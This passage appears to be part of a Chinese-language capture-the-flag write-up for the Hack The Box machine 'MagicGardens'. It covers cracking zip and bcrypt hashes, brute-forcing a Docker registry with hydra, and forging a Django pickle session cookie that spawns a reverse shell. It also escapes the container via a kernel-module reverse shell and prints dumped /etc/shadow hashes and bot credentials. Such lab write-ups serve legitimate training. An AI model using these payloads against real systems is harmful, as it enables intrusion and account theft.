AAAAAAQAAAAALhn9bpKX/KXvjmlPfYCa9OEHMyQcFo1tQTmiDY2N8aVPEZmJLeCnCLo9hZ7Ouh0t Ey1XVCasp5mosMUwvyYvFbnKe2TgDyi1bV2aZ2hn368DUEsHCHu8iJxRAAAARQAAAFBLAQIeAwoA CQAAANJKPVd7vIicUQAAAEUAAAAIABgAAAAAAAEAAADogQAAAABodHBhc3N3ZFVUBQADnM8WZXV4 CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAACjAAAAAAA= --1804289383-1695994309=:37178--
然後有一個base64,是個zip文件,解壓這個zip文件需要密碼:
1 2 3 $ unzip auth.zip Archive: auth.zip [auth.zip] htpasswd password:
由於不知道密碼,嘗試爆破下:
1 2 3 $ zip2john auth.zip ver 1.0 efh 5455 efh 7875 auth.zip/htpasswd PKZIP Encr: 2b chk, TS_chk, cmplen=81, decmplen=69, crc=9C88BC7B ts=4AD2 cs=4ad2 type =0 auth.zip/htpasswd:$pkzip$1 *2*2*0*51*45*9c88bc7b*0*42*0*51*4ad2*2e19fd6e9297fca5ef8e694f7d809af4e10733241c168d6d4139a20d8d8df1a54f1199892de0a708ba3d859eceba1d2d132d575426aca799a8b0c530bf262f15b9ca7b64e00f28b56d5d9a676867dfaf03*$/pkzip$:htpasswd:auth.zip::auth.zip
然後使用hashcat來破解:
得到密碼:realmadrid
,裏面的htpasswd 也有一個hash,
1 2 $ cat htpasswd alex:$2y$05$xZTYUkg .1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW
再次爆破這個hash,得到密碼: $2y$05$xZTYUkg.1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW:diamonds
從文件中可以得知這個是 docker registry 的密碼。
0xC 5000 - Bruteforce alex login password 事實上可以用hydra爆破,速度也很快。
1 2 3 4 5 6 7 8 9 10 $ hydra -l alex -P /Tools/Wordlists/rockyou.txt 10.129.231.24 -s 5000 https-get /v2/ -t 64 -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-24 16:15:38 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task [DATA] attacking http-gets://10.129.231.24:5000/v2/ [5000][http-get] host: 10.129.231.24 login: alex password: diamonds 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-24 16:15:57
0x8 5000 - Docker api 有了賬號密碼就嘗試dump docker image,這裏使用 https://github.com/Syzik/DockerRegistryGrabber
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 $ python3 drg.py https://magicgardens.htb -U alex -P diamonds --dump magicgardens.htb /home/mane/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.9) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn' t match a supported " [+] BlobSum found 30 [+] Dumping magicgardens.htb [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c [+] Downloading : 748da8c1b87e668267b90ea305e2671b22d046dcfeb189152bf590d594c3b3fc [+] Downloading : 81771b31efb313fb18dae7d8ca3a93c8c4554aa09239e09d61bbbc7ed58d4515 [+] Downloading : 35b21a215463f8130302987a1954d01a8346cdd82c861d57eeb3cfb94d6511a8 [+] Downloading : 437853d7b910e50d0a0a43b077da00948a21289a32e6ce082eb4d44593768eb1 [+] Downloading : f9afd820562f8d93873f4dfed53f9065b928c552cf920e52e804177eff8b2c82 [+] Downloading : d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6 [+] Downloading : fedbb0514db0150f2376b0f778e5f304c302b53619b96a08824c50da7e3e97ea [+] Downloading : 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb [+] Downloading : 02cea9e48b60ccaf6476be25bac7b982d97ef0ed66baeb8b0cffad643ece37d5 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : 8999ec22cbc0ab31d0e3471d591538ff6b2b4c3bbace9c2a97e6c68844382a78 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : 470924304c244ba833543bb487c73e232fd34623cdbfa51d30eab30ce802a10d [+] Downloading : 4bc8eb4a36a30acad7a56cf0b58b279b14fce7dd6623717f32896ea748774a59 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : 9c94b131279a02de1f5c2eb72e9cda9830b128840470843e0761a45d7bebbefe [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : c485c4ba383179db59368a8a4d2df3e783620647fe0b014331c7fd2bd8526e5b [+] Downloading : 9b1fd34c30b75e7edb20c2fd09a9862697f302ef9ae357e521ef3c84d5534e3f [+] Downloading : d31b0195ec5f04dfc78eca9d73b5d223fc36a29f54ee888bc4e0615b5839e692 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : de4cac68b6165c40cf6f8b30417948c31be03a968e233e55ee40221553a5e570
然後得到得到一堆 layer。
1 2 3 4 5 6 7 8 9 10 11 $ ls 02cea9e48b60ccaf6476be25bac7b982d97ef0ed66baeb8b0cffad643ece37d5.tar.gz 9c94b131279a02de1f5c2eb72e9cda9830b128840470843e0761a45d7bebbefe.tar.gz 35b21a215463f8130302987a1954d01a8346cdd82c861d57eeb3cfb94d6511a8.tar.gz a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz 437853d7b910e50d0a0a43b077da00948a21289a32e6ce082eb4d44593768eb1.tar.gz b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c.tar.gz 470924304c244ba833543bb487c73e232fd34623cdbfa51d30eab30ce802a10d.tar.gz c485c4ba383179db59368a8a4d2df3e783620647fe0b014331c7fd2bd8526e5b.tar.gz 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz d31b0195ec5f04dfc78eca9d73b5d223fc36a29f54ee888bc4e0615b5839e692.tar.gz 4bc8eb4a36a30acad7a56cf0b58b279b14fce7dd6623717f32896ea748774a59.tar.gz d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6.tar.gz 748da8c1b87e668267b90ea305e2671b22d046dcfeb189152bf590d594c3b3fc.tar.gz de4cac68b6165c40cf6f8b30417948c31be03a968e233e55ee40221553a5e570.tar.gz 81771b31efb313fb18dae7d8ca3a93c8c4554aa09239e09d61bbbc7ed58d4515.tar.gz f9afd820562f8d93873f4dfed53f9065b928c552cf920e52e804177eff8b2c82.tar.gz 8999ec22cbc0ab31d0e3471d591538ff6b2b4c3bbace9c2a97e6c68844382a78.tar.gz fedbb0514db0150f2376b0f778e5f304c302b53619b96a08824c50da7e3e97ea.tar.gz 9b1fd34c30b75e7edb20c2fd09a9862697f302ef9ae357e521ef3c84d5534e3f.tar.gz
0x9 Container - SECRET_KEY
to Shell as Container 爲了在文件中尋找那個layer有源碼,我還記得一開始的時候使用了morty這個用戶,所以嘗試使用 zgrep
來快速定位layer:
1 2 3 4 $ zgrep -la morty *.tar.gz 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c.tar.gz d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6.tar.gz
得到了三個之後,我解壓了第一個 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz
,看到了裏面有 .env
的文件。
1 2 3 $ cat .env DEBUG=False SECRET_KEY=55A6cc8e2b8
由於知道了 SECRET_KEY
就可以嘗試搜索 Django SECRET_KEY rce
,看到這篇:https://www.cnblogs.com/-zhong/p/13463486.html
根據這篇文章,改了一下,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from django.contrib.sessions.serializers import PickleSerializer from django.core import signing from django.conf import settings settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0 @b1e8c2577J22a8f6edcb5c9b80X8f4&87b" ) class CreateTmpFile(object): def __reduce__(self): import subprocess return (subprocess.call, (['bash' , '-c' ,'echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuOS8xMTExIDA+JjEnCg== | base64 -d | bash' ],)) sess = signing.dumps( obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies' ) print (sess)
運行後把python的輸出結果填到 sessionid
,然後點擊發送,最後得到 reverse shell。
0x10 Root - Exploit cap_sys_module
to root. 然後進去reverse shell 之後,出去一層看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 root@86197762ad36:/usr/src/app root@86197762ad36:/usr/src/app root@86197762ad36:/usr/src/app app db.sqlite3 entrypoint.sh manage.py media requirements.txt static store root@86197762ad36:/usr/src/app root@86197762ad36:/usr/src app linux-headers-6.1.0-11-amd64 linux-headers-6.1.0-11-common linux-headers-6.1.0-20-amd64 linux-headers-6.1.0-20-common linux-kbuild-6.1 root@86197762ad36:/usr/src make: *** No targets specified and no makefile found. Stop. root@86197762ad36:/usr/src gcc: fatal error: no input files compilation terminated. root@86197762ad36:/usr/src
這些文件(linux-headers-6.1.0-11-amd64
or linux-headers-6.1.0-11-common
)不應該出現在文件夾裏面,因爲這些文件通常都是編譯内核的時候才會用到 (一般來説docker會使用contained,contained會和host主機公用一個内核,實際上也只是chroot而已)。
然後裏面也有安裝了gcc和make,所以就懷疑這個container有特殊權限,看了一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@86197762ad36:/usr/src Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap Ambient set = Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore Securebits: 00/0x0/1'b0 (no-new-privs=0) secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) secure-no-ambient-raise: no (unlocked) uid=0(root) euid=0(root) gid=0(root) groups=0(root) Guessed mode: HYBRID (4)
看到: cap_sys_module
, 也就是說可以給host的内核安裝模組,然後實現提權,參考 https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
跟著hacktricks的提示製作兩個文件,Makefile
和 reverse-shell.c
,make完成之後,使用insmod
安裝内核模塊:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 root@86197762ad36:/usr/src obj-m +=reverse-shell.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean root@86197762ad36:/usr/src MODULE_LICENSE("GPL" ); MODULE_AUTHOR("AttackDefense" ); MODULE_DESCRIPTION("LKM reverse shell module" ); MODULE_VERSION("1.0" ); char* argv[] = {"/bin/bash" ,"-c" ,"bash -i >& /dev/tcp/10.10.16.9/4444 0>&1" , NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" , NULL }; // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n" ); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); root@86197762ad36:/usr/src make -C /lib/modules/6.1.0-20-amd64/build M=/usr/src modules make[1]: Entering directory '/usr/src/linux-headers-6.1.0-20-amd64' CC [M] /usr/src/reverse-shell.o MODPOST /usr/src/Module.symvers CC [M] /usr/src/reverse-shell.mod.o LD [M] /usr/src/reverse-shell.ko BTF [M] /usr/src/reverse-shell.ko Skipping BTF generation for /usr/src/reverse-shell.ko due to unavailability of vmlinux make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-20-amd64' root@86197762ad36:/usr/src
你就得到了root權限。
Hashes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 root@magicgardens:/root cat /etc/shadowroot:$y$j9T$Gctu2C9XwCFVr1qINWJjA /$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8 :19592:0:99999:7::: daemon:*:19592:0:99999:7::: bin:*:19592:0:99999:7::: sys:*:19592:0:99999:7::: sync :*:19592:0:99999:7:::games:*:19592:0:99999:7::: man:*:19592:0:99999:7::: lp:*:19592:0:99999:7::: mail:*:19592:0:99999:7::: news:*:19592:0:99999:7::: uucp:*:19592:0:99999:7::: proxy:*:19592:0:99999:7::: www-data:*:19592:0:99999:7::: backup:*:19592:0:99999:7::: list:*:19592:0:99999:7::: irc:*:19592:0:99999:7::: _apt:*:19592:0:99999:7::: nobody:*:19592:0:99999:7::: systemd-network:!*:19592:::::: messagebus:!:19592:::::: avahi-autoipd:!:19592:::::: sshd:!:19592:::::: alex:$y$j9T$vRmhfv9eghNK4I7HfdkjW0$5fFIjvFlbw5ki /5cvoSkG/YizBXms47kw9tubbF/l42:19759:0:99999:7::: morty:$y$j9T$0lTi82bFeyrX9oyH /XMnE.$V8E6g5oxm5 /LGomE.6NBAIwvieFOLqSgm3b7LnZlPT5:19781:0:99999:7::: postfix:!:19629:::::: _laurel:!:19839:::::: root@magicgardens:/root
More on box 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 #!/usr/bin/python3 from selenium import webdriver from selenium.webdriver import FirefoxOptions from selenium.webdriver.firefox.service import Service from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys import selenium.webdriver.support.ui as ui import time opts = FirefoxOptions() opts.binary_location = '/usr/bin/firefox' driverService = Service('/root/AI/geckodriver' , log_output='/dev/null' ) opts.add_argument('--headless' ) username = 'morty' password = 'jonasbrothers' browser = webdriver.Firefox(service=driverService, options=opts) browser.set_page_load_timeout(20) wait = ui.WebDriverWait(browser, 10)browser.get('http://magicgardens.htb/login' ) elem = browser.find_element(By.NAME, 'username' ) elem.send_keys(username) elem = browser.find_element(By.NAME, 'password' ) elem.send_keys(password) elem = browser.find_element(By.XPATH, '//button[text()="Sign in"]' ) elem.submit() print ("Logging into the website as standard user" )wait.until(lambda browser: browser.find_element(By.PARTIAL_LINK_TEXT, 'Hello' )) print ("Authentication successful!" )browser.get('http://magicgardens.htb/admin' ) elem = browser.find_element(By.NAME, 'username' ) elem.send_keys(username) elem = browser.find_element(By.NAME, 'password' ) elem.send_keys(password) elem.send_keys(Keys.RETURN) print ("Logging into the website as admin" )wait.until(lambda browser: browser.find_element(By.XPATH, '//button[text()="Log out"]' )) print ("Authentication successful!" )while True: try: browser.get('http://magicgardens.htb/admin/store/order/' ) orders = browser.find_elements(By.PARTIAL_LINK_TEXT, '[' ) users_set = set () users_premium = set () for order in orders: user_from_order = order.text.split()[0] users_set.add(user_from_order) print ("Got orders" ) for user in users_set: browser.get(f"http://magicgardens.htb/admin/store/storeuser/{user}/change/" ) elem = browser.find_element(By.NAME, 'status' ) user_status = elem.get_attribute('value' ) if user_status == 'Premium' : users_premium.add(user) print ("Got premium users" ) for user in users_premium: message = f"Hello, {user}. Thank you for your order. The flowers will be delivered tomorrow. To get the discount, please send me your QR code. With love, Morty." browser.get('http://magicgardens.htb/send_message/' ) elem = browser.find_element(By.ID, 'username' ) elem.send_keys(user) elem = browser.find_element(By.ID, 'message' ) elem.send_keys(message) elem = browser.find_element(By.XPATH, '//button[text()="Send"]' ) elem.submit() print ("Sent messages to users" ) browser.get('http://magicgardens.htb/profile/?tab=messages&direct=inbox' ) elems = browser.find_elements(By.PARTIAL_LINK_TEXT, 'Attachment' ) message_links = set () for elem in elems: is_new = elem.get_attribute('class' ) if 'bg-dark' in is_new: message_links.add(elem.get_attribute('href' )) for message_link in message_links: try: browser.get(message_link) elem = browser.find_element(By.PARTIAL_LINK_TEXT, 'Check' ) browser.get(elem.get_attribute('href' )) try: alert = browser.switch_to.alert alert.accept() except: pass except: continue browser.get('http://magicgardens.htb/admin/store/order/' ) try: elem = browser.find_element(By.ID, 'action-toggle' ) elem.click() select = ui.Select(browser.find_element(By.NAME, 'action' )) select.select_by_value('delete_selected' ) elem = browser.find_element(By.XPATH, '//button[text()="Go"]' ) elem.submit() wait.until(lambda browser: browser.find_element(By.XPATH, '//input[@type="submit"]' )) elem = browser.find_element(By.XPATH, '//input[@type="submit"]' ) elem.click() print ("Deleted orders" ) except: pass time.sleep(60) except: time.sleep(60)
從上面的脚本可以看出,機器人真的會點擊裏面的鏈接。
Thanks Respect : If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝 : 製作不易,如果我的writeup真的幫到你了, 給我一個respect ,這樣我就會知道,感謝你!
Beginner Recommand : If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦 : 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)